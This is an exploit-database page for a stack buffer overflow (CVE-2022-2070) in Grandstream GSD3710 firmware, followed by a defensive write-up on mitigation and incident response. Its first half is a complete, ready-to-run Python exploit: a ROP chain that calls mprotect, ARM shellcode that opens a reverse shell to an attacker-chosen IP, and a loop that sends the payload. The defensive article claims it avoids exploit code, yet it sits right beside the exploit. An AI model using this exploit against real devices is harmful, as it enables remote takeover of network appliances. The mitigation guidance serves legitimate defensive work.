Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow

Exploit Author: Pepelux Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-05-25
#!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070

"""
Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

Terminal 1:
$ ncat -lnvp 4444

Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""

from operator import ge
import sys
import time
from pwn import *

import argparse


def get_args():
    parser = argparse.ArgumentParser(
        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
            prog, max_help_position=50))

    # Add arguments
    parser.add_argument('-ti', '--target_ip', type=str, required=True,
                        help='device IP address', dest="device_ip")
    parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
                        help='device port', dest="device_port")
    parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
                        help='reverse IP address', dest="reverse_ip")
    parser.add_argument('-rp', '--reverse_port', type=int, required=True,
                        help='reverse port', dest="reverse_port")

    # Array for all arguments passed to script
    args = parser.parse_args()

    try:
        TI = args.device_ip
        TP = args.device_port
        RI = args.reverse_ip
        RP = args.reverse_port

        return TI, TP, RI, RP
    except ValueError:
        exit()


def check_badchars(data):
    for i in range(len(data)):
        if data[i] in [0x0, 0x40]:
            log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
            return True
    return False


def get_shellcode(ip, port):
    ip_bytes = socket.inet_aton(ip)
    port_bytes = struct.pack(">H", port)

    # Linux ARM reverse shell

    # switch to thumb mode
    sc = b"\x01\x30\x8F\xE2"  # add r3, pc, #1
    sc += b"\x13\xFF\x2F\xE1"  # bx r3

    # socket(2, 1, 0)
    sc += b"\x02\x20"  # movs r0, #2
    sc += b"\x01\x21"  # movs r1, #1
    sc += b"\x92\x1A"  # subs r2, r2, r2
    sc += b"\xC8\x27"  # movs r7, #0xc8
    sc += b"\x51\x37"  # adds r7, #0x51
    sc += b"\x01\xDF"  # svc #1
    sc += b"\x04\x1C"  # adds r4, r0, #0

    # connect(r0, &sockaddr, 16)
    sc += b"\x0C\xA1"  # adr r1, #0x30
    sc += b"\x4A\x70"  # strb r2, [r1, #1]
    sc += b"\x10\x22"  # movs r2, #0x10
    sc += b"\x02\x37"  # adds r7, #2
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 0)
    sc += b"\x3F\x27"  # movs r7, #0x3f
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x49\x1A"  # subs r1, r1, r1
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 1)
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x01\x21"  # movs r1, #1
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 2)
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x02\x21"  # movs r1, #2
    sc += b"\x01\xDF"  # svc #1

    # execve("/bin/sh")
    sc += b"\x06\xA0"  # adr r0, #0x18
    sc += b"\x92\x1A"  # subs r2, r2, r2
    sc += b"\x49\x1A"  # subs r1, r1, r1
    sc += b"\x01\x91"  # str r1, [sp, #4]
    sc += b"\x02\x91"  # str r1, [sp, #8]
    sc += b"\x01\x90"  # str r0, [sp, #4]
    sc += b"\x01\xA9"  # add r1, sp, #4
    sc += b"\xC2\x71"  # strb r2, [r0, #7]
    sc += b"\x0B\x27"  # movs r7, #0xb
    sc += b"\x01\xDF"  # svc #1

    sc += b"\x02\xFF"
    sc += port_bytes
    sc += ip_bytes
    sc += b"/bin/shX"

    return sc


def main():
    ti, tp, ri, rp = get_args()

    # ROP Gadgets

    libc_base = 0x76ec1000

    mprotect = libc_base + 0x93510+1
    pop_lr = libc_base + 0x1848C  # pop {r0, r4, r8, ip, lr, pc}
    pop_pc = libc_base + 0xd7515  # pop {pc}
    pop_r0 = libc_base + 0x00064bb0+1  # 0x00064bb0 : pop {r0, pc}

    pop_r5 = libc_base + 0x00003738+1  # 0x00003738 : pop {r5, pc}
    add_r1_sp = libc_base + 0x000b3c4e+1  # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
    # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
    mov_r0_r1 = libc_base + 0x0002f83d
    # 0x0006a086 (0x0006a087): pop {r1, pc}
    pop_r1 = libc_base + 0x6a087
    ands_r0_r1 = libc_base + 0x1feba+1  # 0x0001feba : ands r0, r1 ; bx lr
    # 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
    mov_r4_r0 = libc_base + 0x000a3a42+1
    # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
    movs_r1_r0 = libc_base + 0x0001fdaf

    and_r0_f = libc_base + 0x8717e+1  # 0x0008717e : and r0, r0, #0xf ; bx lr
    movs_r2_r0 = libc_base + 0x0001fc6a+1  # 0x0001fc6a : movs r2, r0 ; bx lr
    mov_r0_r4 = libc_base + 0x0001f9d4+1  # 0x0001f9d4 : movs r0, r4 ; bx lr
    blx_sp = libc_base + 0x46595  # 0x00046594 (0x00046595): blx sp

    shellcode = get_shellcode(ri, rp)

    auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
    junk = p32(0x43434343)

    payload = auth_command
    payload += b"A" * 144

    # The goal is that R0 -> SP

    # R5 = pop {pc}
    # because in the the next gadget we have a blx r5
    payload += p32(pop_r5)
    payload += p32(pop_pc) # R5 = pop {pc}

    # R1 = SP ; BLX pop {pc}
    payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5

    # Restore LR register (because it has been updated by the last BLX gadget)
    payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
    payload += junk*4  # r0, r4, r8, ip
    payload += p32(pop_pc) # LR = pop {pc}

    # R0 = stack address
    payload += p32(mov_r0_r1) # mov r0, r1; bx lr

    # R1 = mask page align
    payload += p32(pop_r1) # pop {r1, pc}
    payload += p32(0xfffe1001)

    # R0 = stack address & 0xfffe1001
    payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr 
    # R4 = R0
    payload += p32(mov_r4_r0)  # movs r0, r4 ; bx lr
    payload += junk  # r1

    # mprotect params
    # r0 = shellcode page aligned address
    # r1 = size(ofshellcode)
    # r2 = protection (0x7 – RWX)

    # R2 = 0x7
    payload += p32(pop_r0)
    payload += p32(0x07070707)
    payload += p32(and_r0_f)  # R0 = 7 (RWX)
    payload += p32(movs_r2_r0)  # R2 (prot: 7 - RWX)

    # R1 = length = 0x10101010 (avoid 0's)
    payload += p32(pop_r0)
    payload += p32(0x01010101)
    payload += p32(movs_r1_r0)  # r1 (length: 0x10101010)

    # R0 = stack address 4k aligned
    payload += p32(mov_r0_r4)

    # mprotect(stack, 0x10101010, 0x7)
    payload += p32(mprotect)
    payload += p32(blx_sp)  # ejecutamos en pila
    payload += shellcode  # shellcode

    if check_badchars(payload[len(auth_command):]):
        sys.exit(0)

    log.info("Device IP: %s:%d" % (ti, tp))
    log.info("Attacker IP: %s:%d" % (ri, rp))
    log.info("Payload len: %d" % len(payload))

    count = 1

    while True:
        try:
            print('Try: %d' % count)
            r = remote(ti, tp)
            r.send(payload)
            log.success("Payload sent!")
            # r.close()
            time.sleep(1)
            count += 1
        except:
            sleep(3)
            pass


if __name__ == '__main__':
    main()


Grandstream GSD3710 (firmware ≤ 1.0.11.13) — Stack Buffer Overflow (CVE‑2022‑2070): Overview, Risk, and Mitigation

The Grandstream GSD3710 VoIP gateway/routing appliance was reported vulnerable to a stack‑based buffer overflow (tracked as CVE‑2022‑2070). This article summarizes the nature of the vulnerability, the potential impact to networks, detection and mitigation strategies, and secure‑development and incident‑response guidance for defenders. The focus is defensive: identifying, mitigating, and preventing exploitation rather than reproducing exploit code or step‑by‑step attack techniques.

What is the vulnerability (high level)?

A stack buffer overflow occurs when a program writes more data to a fixed‑size stack buffer than it can hold, allowing memory corruption. In the case of the affected Grandstream GSD3710 firmware, an improperly validated input to a service exposed over the network could be used to overwrite stack memory. Successful exploitation can lead to application crashes and, in worst cases, arbitrary code execution under the privileges of the vulnerable process.

Why this matters

  • Appliances like the GSD3710 often sit at network edges and handle signaling or media; compromise can provide persistent network access.
  • An exploitable overflow can permit remote code execution, potentially enabling attackers to pivot, eavesdrop on VoIP traffic, or exfiltrate credentials.
  • Network devices often run with high privileges and may be overlooked in patching cycles, increasing exposure.

Affected versions

Vendor advisories and public vulnerability databases list firmware versions up to and including 1.0.11.13 as affected. Always confirm the exact range from the vendor security advisory and your device's maintenance notes before taking action.

Immediate mitigation and best practices

  • Patch first: Apply firmware updates provided by Grandstream that explicitly address CVE‑2022‑2070. Firmware updates are the authoritative fix.
  • Reduce exposure: If patching is not immediately possible, restrict access to management and service ports using firewall rules, access control lists (ACLs), and network segmentation. Disable remote management or move management interfaces to a management VLAN.
  • Least privilege: Ensure the service runs with minimal privileges. Where possible, limit what the device can access on the network.
  • Monitor and alert: Increase monitoring for device crashes, unexpected restarts, or unusual outbound connections originating from the device.
  • Inventory and prioritize: Identify all GSD3710 and similar appliances in the environment and prioritize patching by exposure and criticality.

Detection strategies (practical, non‑exploit details)

Detection should focus on anomalous behavior rather than trying to match specific exploit payload bytes. Techniques include:

  • Baseline normal traffic patterns to and from the device; look for sudden spikes in request sizes or frequent malformed requests.
  • Log and alert on process crashes, kernel oops, or service restarts on the appliance (if device exposes syslog or management telemetry).
  • Monitor for new or unusual outbound network connections from the device, particularly to unfamiliar external hosts.
  • Use network IDS/IPS with heuristics for large or unusually long single header/parameter fields in application‑layer protocols that the device exposes. Avoid signature‑based rules that reveal exploit specifics.

Safe example: verify firmware version (non‑intrusive)

# Safe, non‑exploitative Python example: HTTP request to check a device's login page for firmware version info.
# Requires: pip install requests
import requests

def get_firmware_version(host, port=80, timeout=5):
    try:
        url = f"http://{host}:{port}/"
        r = requests.get(url, timeout=timeout, allow_redirects=True)
        # Many devices display version strings in the HTML or headers; this is a heuristic check.
        html = r.text.lower()
        for token in ["firmware", "version", "build"]:
            if token in html:
                return html
        return None
    except requests.RequestException as e:
        return None

# Usage: call get_firmware_version("192.0.2.10", 80)

Explanation: This harmless example performs an HTTP GET to the device and inspects returned content for common tokens like "firmware" or "version". It does not send malformed or oversized inputs and is intended for inventory and validation of device versions before patching.

Network‑level containment examples

When immediate patching is not possible, apply network controls:

  • Place devices on a management VLAN with strict ACLs limiting inbound source IPs to known administrators.
  • Block access to device service ports (e.g., HTTP/HTTPS, SSH) from the Internet.
  • Use egress filtering to prevent unexpected outbound connections from the device to the public Internet.

Long‑term hardening and secure development guidance

For vendors and internal developers, preventing stack overflows requires both coding discipline and mitigations:

  • Use safe APIs and bounded copy functions; avoid unsafe string or buffer operations without explicit bounds checking.
  • Enable compiler‑level protections: stack canaries, -fstack-protector, control‑flow integrity (CFI) where supported.
  • Deploy OS/hypervisor mitigations: ASLR (address space layout randomization), DEP/NX (non‑executable stack), and memory tagging where available.
  • Adopt fuzzing and static analysis during QA to find input validation bugs before release.
  • Implement secure update mechanisms and publish clear firmware update notices to customers.

Incident response: what to do if you suspect exploitation

  • Isolate the device: Move it to a restricted network segment and cut external access while preserving forensic data.
  • Capture volatile data: Collect logs, running process lists, network connections, and memory if vendor tools or forensic procedures allow safe acquisition.
  • Preserve evidence: Export configuration, syslog, and any core dumps or crash logs for analysis.
  • Perform forensic analysis offline: Look for persistence mechanisms, unauthorized configuration changes, or unknown credentials.
  • Replace or reimage if compromise is confirmed and remediation cannot guarantee integrity.
  • Notify stakeholders and follow disclosure/notification policies as required by contract or law.

Validating remediation

  • Confirm device firmware is updated to the vendor‑released fixed version and verify checksums of the installed build per vendor guidance.
  • Reboot and monitor for abnormal behavior post‑update.
  • Use passive monitoring to ensure no resurgence of anomalies, then return the device to production following staged rollout practices.

Responsible disclosure and vendor coordination

If you discover a new or previously unknown issue in network appliances, follow responsible disclosure: privately notify the vendor, provide reproducible but non‑exploitable details, and coordinate patch timelines. Public advisories should emphasize impact and remediation without releasing working exploit code.

Summary

CVE‑2022‑2070 affecting Grandstream GSD3710 underscores common risks in embedded network appliances: input‑validation errors, delayed patching, and high exposure. Defenders should prioritize patching, reduce network exposure, monitor for anomalous behavior, and apply long‑term secure‑development practices. When responding to suspected incidents, isolate devices, collect forensic data, and coordinate with vendors and stakeholders while avoiding actions that may destroy evidence.